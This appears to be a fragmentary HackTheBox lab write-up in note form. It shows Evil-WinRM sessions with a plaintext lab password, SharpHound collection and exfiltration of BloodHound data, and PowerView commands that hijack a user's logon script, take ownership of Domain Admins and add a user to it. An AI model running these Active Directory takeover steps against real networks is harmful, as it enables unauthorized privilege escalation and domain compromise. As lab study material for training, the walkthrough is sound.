d----- 9/15/2018 12:19 AM Microsoft
-a---- 8/31/2022 9:10 AM 3476 Cleanup
-a---- 7/17/2023 2:19 PM 3658 CreateExplorerShellUnelevatedTask
-a---- 9/25/2022 3:13 PM 4168 User_Feed_Synchronization-{1A6A6609-2B3F-4BEB-89EB-D255D88B9AFA}


*Evil-WinRM* PS C:\windows\system32\tasks> cat Cleanup
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2022-06-09T08:15:44</Date>
<Author>absolute\Administrator</Author>
<URI>\Cleanup</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT5M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2022-06-09T08:15:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>LeastPrivilege</RunLevel>
<UserId>Administrator</UserId>
<LogonType>Password</LogonType>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-c "C:\users\administrator\contacts\wipe.ps1"</Arguments>
</Exec>
</Actions>
</Task>
*Evil-WinRM* PS C:\windows\system32\tasks> cat C:\users\administrator\contacts\wipe.ps1
cmd /c 'dsacls.exe "cn=Network Audit,cn=users,dc=absolute,dc=htb" -resetdefaultdacl
cmd /c 'dsacls.exe "cn=winrm_user,cn=users,dc=absolute,dc=htb" -resetdefaultdacl
cmd /c 'dsacls.exe "cn=Network Audit,cn=users,dc=absolute,dc=htb" /G absolute\Networkers:WO'
cmd /c 'dsacls.exe "cn=winrm_user,cn=users,dc=absolute,dc=htb" /I:T /G "absolute\Network Audit":GW'

net group "network audit" m.lovegod /del
net group "network audit" svc_smb /del
net group "network audit" d.klay /del

net localgroup Administrators m.lovegod /del
net localgroup Administrators svc_smb /del
net localgroup Administrators d.klay /del
net localgroup Administrators winrm_user /del
*Evil-WinRM* PS C:\windows\system32\tasks>

.

 

..

htb-object-nl

Object

NMAP

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mega Engines
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open  http    Jetty 9.4.43.v20210629
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.43.v20210629)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

PORT 80 (HTTP)

PORT 8080 (HTTP)

cmd.exe /c powershell.exe -c Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound

Foothold

┌──(puck㉿kali)-[~/htb/object]
└─$ evil-winrm -i 10.10.11.132 -u oliver -p c1cdfun_d2434


Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\oliver\Documents> $env:USERDNSDOMAIN
object.local
*Evil-WinRM* PS C:\Users\oliver\Documents> mkdir puck


Directory: C:\Users\oliver\Documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/23/2024 8:54 AM puck


*Evil-WinRM* PS C:\Users\oliver\Documents> cd puck
*Evil-WinRM* PS C:\Users\oliver\Documents\puck> upload SharpHound.exe

Info: Uploading /home/puck/htb/object/SharpHound.exe to C:\Users\oliver\Documents\puck\SharpHound.exe

Data: 1395368 bytes of 1395368 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\oliver\Documents\puck> ./SharpHound.exe all
2024-03-23T08:55:50.0837796-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2024-03-23T08:55:50.2243965-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-03-23T08:55:50.2556464-07:00|INFORMATION|Initializing SharpHound at 8:55 AM on 3/23/2024
2024-03-23T08:55:50.4119095-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for object.local : jenkins.object.local
2024-03-23T08:55:50.4431626-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-03-23T08:55:50.5993967-07:00|INFORMATION|Beginning LDAP search for object.local
2024-03-23T08:55:50.6462777-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-03-23T08:55:50.6618979-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-03-23T08:56:21.3267021-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2024-03-23T08:56:36.5571557-07:00|INFORMATION|Consumers finished, closing output channel
2024-03-23T08:56:36.5884055-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-03-23T08:56:36.7915241-07:00|INFORMATION|Status: 92 objects finished (+92 2)/s -- Using 44 MB RAM
2024-03-23T08:56:36.7915241-07:00|INFORMATION|Enumeration finished in 00:00:46.2025467
2024-03-23T08:56:36.8696534-07:00|INFORMATION|Saving cache with stats: 52 ID to type mappings.
52 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2024-03-23T08:56:36.8852775-07:00|INFORMATION|SharpHound Enumeration Completed at 8:56 AM on 3/23/2024! Happy Graphing!
*Evil-WinRM* PS C:\Users\oliver\Documents\puck> ls


Directory: C:\Users\oliver\Documents\puck


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/23/2024 8:56 AM 11437 20240323085636_BloodHound.zip
-a---- 3/23/2024 8:56 AM 7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
-a---- 3/23/2024 8:55 AM 1046528 SharpHound.exe


*Evil-WinRM* PS C:\Users\oliver\Documents\puck> download 20240323085636_BloodHound.zip

Info: Downloading C:\Users\oliver\Documents\puck\20240323085636_BloodHound.zip to 20240323085636_BloodHound.zip

Info: Download successful!
*Evil-WinRM* PS C:\Users\oliver\Documents\puck>

.

Privilege Escalation (Smith)

Privilege Escalation (Maria)

Set-DomainObject -Identity maria -SET @{scriptpath="C:\ProgramData\logonscript.ps1"}
dir C:\Users\maria\Desktop > C:\ProgramData\dir_result.txt
copy C:\Users\maria\Desktop\Engines.xls C:\ProgramData\
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity maria
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights Al
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

References